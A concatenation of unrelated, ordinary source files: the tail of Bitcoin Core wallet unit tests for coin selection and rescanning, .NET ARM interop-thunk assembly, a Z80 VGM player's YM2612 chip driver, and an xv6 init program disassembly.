BOOST_CHECK(wallet.SelectCoinsMinConf(MIN_CHANGE * 9990 / 100, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 101 * MIN_CHANGE);
BOOST_CHECK_EQUAL(setCoinsRet.size(), 2U);
// test with many inputs
for (CAmount amt=1500; amt < COIN; amt*=10) {
empty_wallet();
// Create 676 inputs (= MAX_STANDARD_TX_SIZE / 148 bytes per input)
for (uint16_t j = 0; j < 676; j++)
add_coin(amt);
BOOST_CHECK(wallet.SelectCoinsMinConf(2000, 1, 1, 0, vCoins, setCoinsRet, nValueRet));
if (amt - 2000 < MIN_CHANGE) {
// needs more than one input:
uint16_t returnSize = std::ceil((2000.0 + MIN_CHANGE)/amt);
CAmount returnValue = amt * returnSize;
BOOST_CHECK_EQUAL(nValueRet, returnValue);
BOOST_CHECK_EQUAL(setCoinsRet.size(), returnSize);
} else {
// one input is sufficient:
BOOST_CHECK_EQUAL(nValueRet, amt);
BOOST_CHECK_EQUAL(setCoinsRet.size(), 1U);
}
}
// test randomness
{
empty_wallet();
for (int i2 = 0; i2 < 100; i2++)
add_coin(COIN);
// picking 50 from 100 coins doesn't depend on the shuffle,
// but does depend on randomness in the stochastic approximation code
BOOST_CHECK(wallet.SelectCoinsMinConf(50 * COIN, 1, 6, 0, vCoins, setCoinsRet , nValueRet));
BOOST_CHECK(wallet.SelectCoinsMinConf(50 * COIN, 1, 6, 0, vCoins, setCoinsRet2, nValueRet));
BOOST_CHECK(!equal_sets(setCoinsRet, setCoinsRet2));
int fails = 0;
for (int j = 0; j < RANDOM_REPEATS; j++)
{
// selecting 1 from 100 identical coins depends on the shuffle; this test will fail 1% of the time
// run the test RANDOM_REPEATS times and only complain if all of them fail
BOOST_CHECK(wallet.SelectCoinsMinConf(COIN, 1, 6, 0, vCoins, setCoinsRet , nValueRet));
BOOST_CHECK(wallet.SelectCoinsMinConf(COIN, 1, 6, 0, vCoins, setCoinsRet2, nValueRet));
if (equal_sets(setCoinsRet, setCoinsRet2))
fails++;
}
BOOST_CHECK_NE(fails, RANDOM_REPEATS);
// add 75 cents in small change. not enough to make 90 cents,
// then try making 90 cents. there are multiple competing "smallest bigger" coins,
// one of which should be picked at random
add_coin(5 * CENT);
add_coin(10 * CENT);
add_coin(15 * CENT);
add_coin(20 * CENT);
add_coin(25 * CENT);
fails = 0;
for (int j = 0; j < RANDOM_REPEATS; j++)
{
// selecting 1 from 100 identical coins depends on the shuffle; this test will fail 1% of the time
// run the test RANDOM_REPEATS times and only complain if all of them fail
BOOST_CHECK(wallet.SelectCoinsMinConf(90*CENT, 1, 6, 0, vCoins, setCoinsRet , nValueRet));
BOOST_CHECK(wallet.SelectCoinsMinConf(90*CENT, 1, 6, 0, vCoins, setCoinsRet2, nValueRet));
if (equal_sets(setCoinsRet, setCoinsRet2))
fails++;
}
BOOST_CHECK_NE(fails, RANDOM_REPEATS);
}
}
empty_wallet();
}
BOOST_AUTO_TEST_CASE(ApproximateBestSubset)
{
CoinSet setCoinsRet;
CAmount nValueRet;
LOCK(wallet.cs_wallet);
empty_wallet();
// Test vValue sort order
for (int i = 0; i < 1000; i++)
add_coin(1000 * COIN);
add_coin(3 * COIN);
BOOST_CHECK(wallet.SelectCoinsMinConf(1003 * COIN, 1, 6, 0, vCoins, setCoinsRet, nValueRet));
BOOST_CHECK_EQUAL(nValueRet, 1003 * COIN);
BOOST_CHECK_EQUAL(setCoinsRet.size(), 2U);
empty_wallet();
}
BOOST_FIXTURE_TEST_CASE(rescan, TestChain100Setup)
{
LOCK(cs_main);
// Cap last block file size, and mine new block in a new block file.
CBlockIndex* oldTip = chainActive.Tip();
GetBlockFileInfo(oldTip->GetBlockPos().nFile)->nSize = MAX_BLOCKFILE_SIZE;
CreateAndProcessBlock({}, GetScriptForRawPubKey(coinbaseKey.GetPubKey()));
CBlockIndex* newTip = chainActive.Tip();
// Verify ScanForWalletTransactions picks up transactions in both the old
// and new block files.
{
CWallet wallet;
LOCK(wallet.cs_wallet);
wallet.AddKeyPubKey(coinbaseKey, coinbaseKey.GetPubKey());
BOOST_CHECK_EQUAL(oldTip, wallet.ScanForWalletTransactions(oldTip));
BOOST_CHECK_EQUAL(wallet.GetImmatureBalance(), 1000 * COIN);
}
// Prune the older block file.
PruneOneBlockFile(oldTip->GetBlockPos().nFile);
UnlinkPrunedFiles({oldTip->GetBlockPos().nFile});
// Verify ScanForWalletTransactions only picks transactions in the new block
// file.
{
CWallet wallet;
LOCK(wallet.cs_wallet);
wallet.AddKeyPubKey(coinbaseKey, coinbaseKey.GetPubKey());
BOOST_CHECK_EQUAL(newTip, wallet.ScanForWalletTransactions(oldTip));
BOOST_CHECK_EQUAL(wallet.GetImmatureBalance(), 500 * COIN);
}
// Verify importmulti RPC returns failure for a key whose creation time is
// before the missing block, and success for a key whose creation time is
// after.
{
CWallet wallet;
CWallet *backup = ::pwalletMain;
::pwalletMain = &wallet;
UniValue keys;
keys.setArray();
UniValue key;
key.setObject();
key.pushKV("scriptPubKey", HexStr(GetScriptForRawPubKey(coinbaseKey.GetPubKey())));
key.pushKV("timestamp", 0);
key.pushKV("internal", UniValue(true));
keys.push_back(key);
key.clear();
key.setObject();
CKey futureKey;
futureKey.MakeNewKey(true);
key.pushKV("scriptPubKey", HexStr(GetScriptForRawPubKey(futureKey.GetPubKey())));
key.pushKV("timestamp", newTip->GetBlockTimeMax() + 7200);
key.pushKV("internal", UniValue(true));
keys.push_back(key);
JSONRPCRequest request;
request.params.setArray();
request.params.push_back(keys);
UniValue response = importmulti(request);
BOOST_CHECK_EQUAL(response.write(), strprintf("[{\"success\":false,\"error\":{\"code\":-1,\"message\":\"Failed to rescan before time %d, transactions may be missing.\"}},{\"success\":true}]", newTip->GetBlockTimeMax()));
::pwalletMain = backup;
}
}
// Verify importwallet RPC starts rescan at earliest block with timestamp
// greater or equal than key birthday. Previously there was a bug where
// importwallet RPC would start the scan at the latest block with timestamp less
// than or equal to key birthday.
BOOST_FIXTURE_TEST_CASE(importwallet_rescan, TestChain100Setup)
{
CWallet *pwalletMainBackup = ::pwalletMain;
LOCK(cs_main);
// Create two blocks with same timestamp to verify that importwallet rescan
// will pick up both blocks, not just the first.
const int64_t BLOCK_TIME = chainActive.Tip()->GetBlockTimeMax() + 5;
SetMockTime(BLOCK_TIME);
coinbaseTxns.emplace_back(*CreateAndProcessBlock({}, GetScriptForRawPubKey(coinbaseKey.GetPubKey())).vtx[0]);
coinbaseTxns.emplace_back(*CreateAndProcessBlock({}, GetScriptForRawPubKey(coinbaseKey.GetPubKey())).vtx[0]);
// Set key birthday to block time increased by the timestamp window, so
// rescan will start at the block time.
const int64_t KEY_TIME = BLOCK_TIME + 7200;
SetMockTime(KEY_TIME);
coinbaseTxns.emplace_back(*CreateAndProcessBlock({}, GetScriptForRawPubKey(coinbaseKey.GetPubKey())).vtx[0]);
// Import key into wallet and call dumpwallet to create backup file.
{
CWallet wallet;
LOCK(wallet.cs_wallet);
wallet.mapKeyMetadata[coinbaseKey.GetPubKey().GetID()].nCreateTime = KEY_TIME;
wallet.AddKeyPubKey(coinbaseKey, coinbaseKey.GetPubKey());
JSONRPCRequest request;
request.params.setArray();
request.params.push_back("wallet.backup");
::pwalletMain = &wallet;
::dumpwallet(request);
}
// Call importwallet RPC and verify all blocks with timestamps >= BLOCK_TIME
// were scanned, and no prior blocks were scanned.
{
CWallet wallet;
JSONRPCRequest request;
request.params.setArray();
request.params.push_back("wallet.backup");
::pwalletMain = &wallet;
::importwallet(request);
BOOST_CHECK_EQUAL(wallet.mapWallet.size(), 3);
BOOST_CHECK_EQUAL(coinbaseTxns.size(), 103);
for (size_t i = 0; i < coinbaseTxns.size(); ++i) {
bool found = wallet.GetWalletTx(coinbaseTxns[i].GetHash());
bool expected = i >= 100;
BOOST_CHECK_EQUAL(found, expected);
}
}
SetMockTime(0);
::pwalletMain = pwalletMainBackup;
}
BOOST_AUTO_TEST_SUITE_END()
|
;; Licensed to the .NET Foundation under one or more agreements.
;; The .NET Foundation licenses this file to you under the MIT license.
;; See the LICENSE file in the project root for more information.
#include "kxarm.h"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; DATA SECTIONS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
__tls_array equ 0x2C ;; offsetof(TEB, ThreadLocalStoragePointer)
POINTER_SIZE equ 0x04
;; TLS variables
AREA |.tls$|, DATA
ThunkParamSlot % 0x4
TEXTAREA
EXTERN _tls_index
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Interop Thunks Helpers ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; RhCommonStub
;;
NESTED_ENTRY RhCommonStub
;; Custom calling convention:
;; red zone has pointer to the current thunk's data block (data contains 2 pointer values: context + target pointers)
;; Copy red zone value into r12 so that the PROLOG_PUSH doesn't destroy it
PROLOG_NOP ldr r12, [sp, #-4]
PROLOG_PUSH {r0-r3}
;; Save context data into the ThunkParamSlot thread-local variable
;; A pointer to the delegate and function pointer for open static delegate should have been saved in the thunk's context cell during thunk allocation
ldr r3, =_tls_index
ldr r2, [r3]
mrc p15, #0, r3, c13, c0, #2
ldr r3, [r3, #__tls_array]
ldr r2, [r3, r2, lsl #2] ;; r2 <- our TLS base
;; r2 = base address of TLS data
;; r12 = address of context cell in thunk's data
;; store thunk address in thread static
ldr r1, [r12]
ldr r3, =ThunkParamSlot
str r1, [r2, r3] ;; ThunkParamSlot <- context slot data
;; Now load the target address and jump to it.
ldr r12, [r12, #POINTER_SIZE]
EPILOG_POP {r0-r3}
bx r12
NESTED_END RhCommonStub
;;
;; IntPtr RhGetCommonStubAddress()
;;
LEAF_ENTRY RhGetCommonStubAddress
ldr r0, =RhCommonStub
bx lr
LEAF_END RhGetCommonStubAddress
;;
;; IntPtr RhGetCurrentThunkContext()
;;
LEAF_ENTRY RhGetCurrentThunkContext
ldr r3, =_tls_index
ldr r2, [r3]
mrc p15, #0, r3, c13, c0, #2
ldr r3, [r3, #__tls_array]
ldr r2, [r3, r2, lsl #2] ;; r2 <- our TLS base
ldr r3, =ThunkParamSlot
ldr r0, [r2, r3] ;; r0 <- ThunkParamSlot
bx lr
LEAF_END RhGetCurrentThunkContext
END
|
;
; VGM YM2612 chip
;
YM2612_PCM_REGISTER: equ 2AH
YM2612_PCMBUFFER_SIZE: equ 100H
YM2612: MACRO
super: Chip YM2612_ym2612Name, Header.ym2612Clock, YM2612_Connect
pcmDataStart:
dd 0
pcmDataPosition:
dd 0
pcmBuffer:
dw 0
; hl' = time remaining
; ix = player
; iy = reader
ProcessPort0Command: PROC
call Reader_ReadWord_IY
jp System_Return
writeRegister: equ $ - 2
ENDP
; hl' = time remaining
; ix = player
; iy = reader
ProcessPort1Command: PROC
call Reader_ReadWord_IY
jp System_Return
writeRegister: equ $ - 2
ENDP
; hl' = time remaining
; ix = player
; iy = reader
ProcessPort0CommandDual: PROC
call Reader_ReadWord_IY
jp System_Return
writeRegister: equ $ - 2
ENDP
; hl' = time remaining
; ix = player
; iy = reader
ProcessPort1CommandDual: PROC
call Reader_ReadWord_IY
jp System_Return
writeRegister: equ $ - 2
ENDP
; hl' = time remaining
; ix = player
; iy = reader
ProcessPCMWrite: PROC
ld a,(0)
position: equ $ - 2
ld d,a
call System_Return
writeRegister: equ $ - 2
ld hl,position
inc (hl)
ret nz
ld hl,pcmDataPosition + 1
inc (hl)
jr nz,BufferPCMData
inc hl
inc (hl)
jr nz,BufferPCMData
inc hl
inc (hl)
jr BufferPCMData
ENDP
; b = bit 7: dual chip number
; dehl = size
; ix = player
; iy = reader
ProcessPCMDataBlock:
bit 7,b
jp nz,Player_SkipDataBlock
push de
push hl
call MappedReader_GetPosition_IY
ld (pcmDataStartLSW),hl
ld (pcmDataStartMSW),de
xor a
ld (ProcessPCMWrite.position),a
ld (pcmDataPosition + 1),a
ld (pcmDataPosition + 2),a
ld (pcmDataPosition + 3),a
pop hl
pop de
call MappedReader_Skip_IY
jr BufferPCMData
; hl' = time remaining
; ix = player
; iy = reader
ProcessPCMDataSeek: PROC
call Reader_ReadDoubleWord_IY
ld a,l
ld (ProcessPCMWrite.position),a
ld a,(pcmDataPosition + 1)
cp h
ld a,h
jr nz,Buffer
ld hl,(pcmDataPosition + 2)
sbc hl,de
ret z ; buffer block position didn’t change
Buffer:
ld (pcmDataPosition + 1),a
ld (pcmDataPosition + 2),de
jr BufferPCMData
ENDP
; ix = player
; iy = reader
BufferPCMData:
call MappedReader_GetPosition_IY
push de
push hl
ld hl,(pcmDataPosition)
ld de,(pcmDataPosition + 2)
ld bc,0
pcmDataStartLSW: equ $ - 2
add hl,bc
ld bc,0
pcmDataStartMSW: equ $ - 2
ex de,hl
adc hl,bc
ex de,hl
call MappedReader_SetPosition_IY
ld de,(pcmBuffer)
ld bc,100H
call MappedReader_ReadBlock_IY
pop hl
pop de
jp MappedReader_SetPosition_IY
; hl' = time remaining
; ix = player
; iy = reader
ProcessPCMWriteWait1:
call ProcessPCMWrite
Player_Wait_M 1
ProcessPCMWriteWait2:
call ProcessPCMWrite
Player_Wait_M 2
ProcessPCMWriteWait3:
call ProcessPCMWrite
Player_Wait_M 3
ProcessPCMWriteWait4:
call ProcessPCMWrite
Player_Wait_M 4
ProcessPCMWriteWait5:
call ProcessPCMWrite
Player_Wait_M 5
ProcessPCMWriteWait6:
call ProcessPCMWrite
Player_Wait_M 6
ProcessPCMWriteWait7:
call ProcessPCMWrite
Player_Wait_M 7
ProcessPCMWriteWait8:
call ProcessPCMWrite
Player_Wait_M 8
ProcessPCMWriteWait9:
call ProcessPCMWrite
Player_Wait_M 9
ProcessPCMWriteWait10:
call ProcessPCMWrite
Player_Wait_M 10
ProcessPCMWriteWait11:
call ProcessPCMWrite
Player_Wait_M 11
ProcessPCMWriteWait12:
call ProcessPCMWrite
Player_Wait_M 12
ProcessPCMWriteWait13:
call ProcessPCMWrite
Player_Wait_M 13
ProcessPCMWriteWait14:
call ProcessPCMWrite
Player_Wait_M 14
ProcessPCMWriteWait15:
call ProcessPCMWrite
Player_Wait_M 15
ENDM
; ix = this
; iy = header
YM2612_Construct:
call Chip_Construct
push ix
ld bc,YM2612_PCMBUFFER_SIZE
ld ix,Heap_main
call Heap_AllocateAligned
pop ix
ld (ix + YM2612.pcmBuffer),e
ld (ix + YM2612.pcmBuffer + 1),d
ld (ix + YM2612.ProcessPCMWrite.position),e
ld (ix + YM2612.ProcessPCMWrite.position + 1),d
call YM2612_GetName
jp Chip_SetName
; ix = this
YM2612_Destruct:
push ix
ld e,(ix + YM2612.pcmBuffer)
ld d,(ix + YM2612.pcmBuffer + 1)
ld bc,YM2612_PCMBUFFER_SIZE
ld ix,Heap_main
call Heap_Free
pop ix
ret
; ix = this
; f <- nz: YM3438
YM2612_IsYM3438: equ Device_GetFlagBit7
; jp Device_GetFlagBit7
; iy = drivers
; ix = this
YM2612_Connect:
call YM2612_TryCreate
ret nc
call Chip_SetDriver
ld bc,YM2612.ProcessPort0Command.writeRegister
call Device_ConnectInterface
ld bc,YM2612.ProcessPort1Command.writeRegister
call Device_ConnectInterface
ld bc,YM2612.ProcessPCMWrite.writeRegister
call Device_ConnectInterface
call Chip_IsDualChip
ret z
call YM2612_TryCreate
ret nc
call Chip_SetDriver2
ld bc,YM2612.ProcessPort0CommandDual.writeRegister
call Device_ConnectInterface
ld bc,YM2612.ProcessPort1CommandDual.writeRegister
jp Device_ConnectInterface
; iy = drivers
; ix = this
; de <- driver
; hl <- device interface
; f <- c: succeeded
YM2612_TryCreate:
call Device_GetClock
call Drivers_TryCreateOPN2OnOPNATurboRPCM_IY
ld hl,OPN2OnOPNATurboRPCM_interface
ret c
call Drivers_TryCreateOPN2OnSFGTurboRPCM_IY
ld hl,OPN2OnSFGTurboRPCM_interface
ret c
call Drivers_TryCreateOPN2OnTurboRPCM_IY
ld hl,OPN2OnTurboRPCM_interface
ret
; ix = this
; hl <- name
YM2612_GetName:
call YM2612_IsYM3438
ld hl,YM2612_ym2612Name
ret z
ld hl,YM2612_ym3438Name
ret
;
SECTION RAM
YM2612_instance: YM2612
ENDS
YM2612_interfacePCM:
InterfaceOffset YM2612.ProcessPCMWrite
InterfaceOffset YM2612.ProcessPCMWriteWait1
InterfaceOffset YM2612.ProcessPCMWriteWait2
InterfaceOffset YM2612.ProcessPCMWriteWait3
InterfaceOffset YM2612.ProcessPCMWriteWait4
InterfaceOffset YM2612.ProcessPCMWriteWait5
InterfaceOffset YM2612.ProcessPCMWriteWait6
InterfaceOffset YM2612.ProcessPCMWriteWait7
InterfaceOffset YM2612.ProcessPCMWriteWait8
InterfaceOffset YM2612.ProcessPCMWriteWait9
InterfaceOffset YM2612.ProcessPCMWriteWait10
InterfaceOffset YM2612.ProcessPCMWriteWait11
InterfaceOffset YM2612.ProcessPCMWriteWait12
InterfaceOffset YM2612.ProcessPCMWriteWait13
InterfaceOffset YM2612.ProcessPCMWriteWait14
InterfaceOffset YM2612.ProcessPCMWriteWait15
InterfaceOffset YM2612.ProcessPCMDataSeek
YM2612_ym2612Name:
db "YM2612 (OPN2)",0
YM2612_ym3438Name:
db "YM3438 (OPN2C)",0
|
_init: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
char *argv[] = { "sh", 0 };
int
main(void)
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 53 push %ebx
e: 51 push %ecx
int pid, wpid;
if(open("console", O_RDWR) < 0){
f: 83 ec 08 sub $0x8,%esp
12: 6a 02 push $0x2
14: 68 80 06 00 00 push $0x680
19: e8 8e 02 00 00 call 2ac <open>
1e: 83 c4 10 add $0x10,%esp
21: 85 c0 test %eax,%eax
23: 78 1b js 40 <main+0x40>
mknod("console", 1, 1);
open("console", O_RDWR);
}
dup(0); // stdout
25: 83 ec 0c sub $0xc,%esp
28: 6a 00 push $0x0
2a: e8 b5 02 00 00 call 2e4 <dup>
dup(0); // stderr
2f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
36: e8 a9 02 00 00 call 2e4 <dup>
3b: 83 c4 10 add $0x10,%esp
3e: eb 58 jmp 98 <main+0x98>
mknod("console", 1, 1);
40: 83 ec 04 sub $0x4,%esp
43: 6a 01 push $0x1
45: 6a 01 push $0x1
47: 68 80 06 00 00 push $0x680
4c: e8 63 02 00 00 call 2b4 <mknod>
open("console", O_RDWR);
51: 83 c4 08 add $0x8,%esp
54: 6a 02 push $0x2
56: 68 80 06 00 00 push $0x680
5b: e8 4c 02 00 00 call 2ac <open>
60: 83 c4 10 add $0x10,%esp
63: eb c0 jmp 25 <main+0x25>
for(;;){
printf(1, "init: starting sh\n");
pid = fork();
if(pid < 0){
printf(1, "init: fork failed\n");
65: 83 ec 08 sub $0x8,%esp
68: 68 9b 06 00 00 push $0x69b
6d: 6a 01 push $0x1
6f: e8 52 03 00 00 call 3c6 <printf>
exit();
74: e8 f3 01 00 00 call 26c <exit>
exec("sh", argv);
printf(1, "init: exec sh failed\n");
exit();
}
while((wpid=wait()) >= 0 && wpid != pid)
printf(1, "zombie!\n");
79: 83 ec 08 sub $0x8,%esp
7c: 68 c7 06 00 00 push $0x6c7
81: 6a 01 push $0x1
83: e8 3e 03 00 00 call 3c6 <printf>
88: 83 c4 10 add $0x10,%esp
while((wpid=wait()) >= 0 && wpid != pid)
8b: e8 e4 01 00 00 call 274 <wait>
90: 85 c0 test %eax,%eax
92: 78 04 js 98 <main+0x98>
94: 39 c3 cmp %eax,%ebx
96: 75 e1 jne 79 <main+0x79>
printf(1, "init: starting sh\n");
98: 83 ec 08 sub $0x8,%esp
9b: 68 88 06 00 00 push $0x688
a0: 6a 01 push $0x1
a2: e8 1f 03 00 00 call 3c6 <printf>
pid = fork();
a7: e8 b8 01 00 00 call 264 <fork>
ac: 89 c3 mov %eax,%ebx
if(pid < 0){
ae: 83 c4 10 add $0x10,%esp
b1: 85 c0 test %eax,%eax
b3: 78 b0 js 65 <main+0x65>
if(pid == 0){
b5: 85 c0 test %eax,%eax
b7: 75 d2 jne 8b <main+0x8b>
exec("sh", argv);
b9: 83 ec 08 sub $0x8,%esp
bc: 68 74 09 00 00 push $0x974
c1: 68 ae 06 00 00 push $0x6ae
c6: e8 d9 01 00 00 call 2a4 <exec>
printf(1, "init: exec sh failed\n");
cb: 83 c4 08 add $0x8,%esp
ce: 68 b1 06 00 00 push $0x6b1
d3: 6a 01 push $0x1
d5: e8 ec 02 00 00 call 3c6 <printf>
exit();
da: e8 8d 01 00 00 call 26c <exit>
000000df <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
df: 55 push %ebp
e0: 89 e5 mov %esp,%ebp
e2: 53 push %ebx
e3: 8b 45 08 mov 0x8(%ebp),%eax
e6: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
e9: 89 c2 mov %eax,%edx
eb: 0f b6 19 movzbl (%ecx),%ebx
ee: 88 1a mov %bl,(%edx)
f0: 8d 52 01 lea 0x1(%edx),%edx
f3: 8d 49 01 lea 0x1(%ecx),%ecx
f6: 84 db test %bl,%bl
f8: 75 f1 jne eb <strcpy+0xc>
;
return os;
}
fa: 5b pop %ebx
fb: 5d pop %ebp
fc: c3 ret
000000fd <strcmp>:
int
strcmp(const char *p, const char *q)
{
fd: 55 push %ebp
fe: 89 e5 mov %esp,%ebp
100: 8b 4d 08 mov 0x8(%ebp),%ecx
103: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
106: eb 06 jmp 10e <strcmp+0x11>
p++, q++;
108: 83 c1 01 add $0x1,%ecx
10b: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
10e: 0f b6 01 movzbl (%ecx),%eax
111: 84 c0 test %al,%al
113: 74 04 je 119 <strcmp+0x1c>
115: 3a 02 cmp (%edx),%al
117: 74 ef je 108 <strcmp+0xb>
return (uchar)*p - (uchar)*q;
119: 0f b6 c0 movzbl %al,%eax
11c: 0f b6 12 movzbl (%edx),%edx
11f: 29 d0 sub %edx,%eax
}
121: 5d pop %ebp
122: c3 ret
00000123 <strlen>:
uint
strlen(const char *s)
{
123: 55 push %ebp
124: 89 e5 mov %esp,%ebp
126: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
129: ba 00 00 00 00 mov $0x0,%edx
12e: eb 03 jmp 133 <strlen+0x10>
130: 83 c2 01 add $0x1,%edx
133: 89 d0 mov %edx,%eax
135: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
139: 75 f5 jne 130 <strlen+0xd>
;
return n;
}
13b: 5d pop %ebp
13c: c3 ret
0000013d <memset>:
void*
memset(void *dst, int c, uint n)
{
13d: 55 push %ebp
13e: 89 e5 mov %esp,%ebp
140: 57 push %edi
141: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
144: 89 d7 mov %edx,%edi
146: 8b 4d 10 mov 0x10(%ebp),%ecx
149: 8b 45 0c mov 0xc(%ebp),%eax
14c: fc cld
14d: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
14f: 89 d0 mov %edx,%eax
151: 5f pop %edi
152: 5d pop %ebp
153: c3 ret
00000154 <strchr>:
char*
strchr(const char *s, char c)
{
154: 55 push %ebp
155: 89 e5 mov %esp,%ebp
157: 8b 45 08 mov 0x8(%ebp),%eax
15a: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
15e: 0f b6 10 movzbl (%eax),%edx
161: 84 d2 test %dl,%dl
163: 74 09 je 16e <strchr+0x1a>
if(*s == c)
165: 38 ca cmp %cl,%dl
167: 74 0a je 173 <strchr+0x1f>
for(; *s; s++)
169: 83 c0 01 add $0x1,%eax
16c: eb f0 jmp 15e <strchr+0xa>
return (char*)s;
return 0;
16e: b8 00 00 00 00 mov $0x0,%eax
}
173: 5d pop %ebp
174: c3 ret
00000175 <gets>:
char*
gets(char *buf, int max)
{
175: 55 push %ebp
176: 89 e5 mov %esp,%ebp
178: 57 push %edi
179: 56 push %esi
17a: 53 push %ebx
17b: 83 ec 1c sub $0x1c,%esp
17e: 8b 7d 08 mov 0x8(%ebp),%edi
int i, cc;
char c;
for(i=0; i+1 < max; ){
181: bb 00 00 00 00 mov $0x0,%ebx
186: 8d 73 01 lea 0x1(%ebx),%esi
189: 3b 75 0c cmp 0xc(%ebp),%esi
18c: 7d 2e jge 1bc <gets+0x47>
cc = read(0, &c, 1);
18e: 83 ec 04 sub $0x4,%esp
191: 6a 01 push $0x1
193: 8d 45 e7 lea -0x19(%ebp),%eax
196: 50 push %eax
197: 6a 00 push $0x0
199: e8 e6 00 00 00 call 284 <read>
if(cc < 1)
19e: 83 c4 10 add $0x10,%esp
1a1: 85 c0 test %eax,%eax
1a3: 7e 17 jle 1bc <gets+0x47>
break;
buf[i++] = c;
1a5: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1a9: 88 04 1f mov %al,(%edi,%ebx,1)
if(c == '\n' || c == '\r')
1ac: 3c 0a cmp $0xa,%al
1ae: 0f 94 c2 sete %dl
1b1: 3c 0d cmp $0xd,%al
1b3: 0f 94 c0 sete %al
buf[i++] = c;
1b6: 89 f3 mov %esi,%ebx
if(c == '\n' || c == '\r')
1b8: 08 c2 or %al,%dl
1ba: 74 ca je 186 <gets+0x11>
break;
}
buf[i] = '\0';
1bc: c6 04 1f 00 movb $0x0,(%edi,%ebx,1)
return buf;
}
1c0: 89 f8 mov %edi,%eax
1c2: 8d 65 f4 lea -0xc(%ebp),%esp
1c5: 5b pop %ebx
1c6: 5e pop %esi
1c7: 5f pop %edi
1c8: 5d pop %ebp
1c9: c3 ret
000001ca <stat>:
int
stat(const char *n, struct stat *st)
{
1ca: 55 push %ebp
1cb: 89 e5 mov %esp,%ebp
1cd: 56 push %esi
1ce: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
1cf: 83 ec 08 sub $0x8,%esp
1d2: 6a 00 push $0x0
1d4: ff 75 08 pushl 0x8(%ebp)
1d7: e8 d0 00 00 00 call 2ac <open>
if(fd < 0)
1dc: 83 c4 10 add $0x10,%esp
1df: 85 c0 test %eax,%eax
1e1: 78 24 js 207 <stat+0x3d>
1e3: 89 c3 mov %eax,%ebx
return -1;
r = fstat(fd, st);
1e5: 83 ec 08 sub $0x8,%esp
1e8: ff 75 0c pushl 0xc(%ebp)
1eb: 50 push %eax
1ec: e8 d3 00 00 00 call 2c4 <fstat>
1f1: 89 c6 mov %eax,%esi
close(fd);
1f3: 89 1c 24 mov %ebx,(%esp)
1f6: e8 99 00 00 00 call 294 <close>
return r;
1fb: 83 c4 10 add $0x10,%esp
}
1fe: 89 f0 mov %esi,%eax
200: 8d 65 f8 lea -0x8(%ebp),%esp
203: 5b pop %ebx
204: 5e pop %esi
205: 5d pop %ebp
206: c3 ret
return -1;
207: be ff ff ff ff mov $0xffffffff,%esi
20c: eb f0 jmp 1fe <stat+0x34>
0000020e <atoi>:
int
atoi(const char *s)
{
20e: 55 push %ebp
20f: 89 e5 mov %esp,%ebp
211: 53 push %ebx
212: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
215: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
21a: eb 10 jmp 22c <atoi+0x1e>
n = n*10 + *s++ - '0';
21c: 8d 1c 80 lea (%eax,%eax,4),%ebx
21f: 8d 04 1b lea (%ebx,%ebx,1),%eax
222: 83 c1 01 add $0x1,%ecx
225: 0f be d2 movsbl %dl,%edx
228: 8d 44 02 d0 lea -0x30(%edx,%eax,1),%eax
while('0' <= *s && *s <= '9')
22c: 0f b6 11 movzbl (%ecx),%edx
22f: 8d 5a d0 lea -0x30(%edx),%ebx
232: 80 fb 09 cmp $0x9,%bl
235: 76 e5 jbe 21c <atoi+0xe>
return n;
}
237: 5b pop %ebx
238: 5d pop %ebp
239: c3 ret
0000023a <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
23a: 55 push %ebp
23b: 89 e5 mov %esp,%ebp
23d: 56 push %esi
23e: 53 push %ebx
23f: 8b 45 08 mov 0x8(%ebp),%eax
242: 8b 5d 0c mov 0xc(%ebp),%ebx
245: 8b 55 10 mov 0x10(%ebp),%edx
char *dst;
const char *src;
dst = vdst;
248: 89 c1 mov %eax,%ecx
src = vsrc;
while(n-- > 0)
24a: eb 0d jmp 259 <memmove+0x1f>
*dst++ = *src++;
24c: 0f b6 13 movzbl (%ebx),%edx
24f: 88 11 mov %dl,(%ecx)
251: 8d 5b 01 lea 0x1(%ebx),%ebx
254: 8d 49 01 lea 0x1(%ecx),%ecx
while(n-- > 0)
257: 89 f2 mov %esi,%edx
259: 8d 72 ff lea -0x1(%edx),%esi
25c: 85 d2 test %edx,%edx
25e: 7f ec jg 24c <memmove+0x12>
return vdst;
}
260: 5b pop %ebx
261: 5e pop %esi
262: 5d pop %ebp
263: c3 ret
00000264 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
264: b8 01 00 00 00 mov $0x1,%eax
269: cd 40 int $0x40
26b: c3 ret
0000026c <exit>:
SYSCALL(exit)
26c: b8 02 00 00 00 mov $0x2,%eax
271: cd 40 int $0x40
273: c3 ret
00000274 <wait>:
SYSCALL(wait)
274: b8 03 00 00 00 mov $0x3,%eax
279: cd 40 int $0x40
27b: c3 ret
0000027c <pipe>:
SYSCALL(pipe)
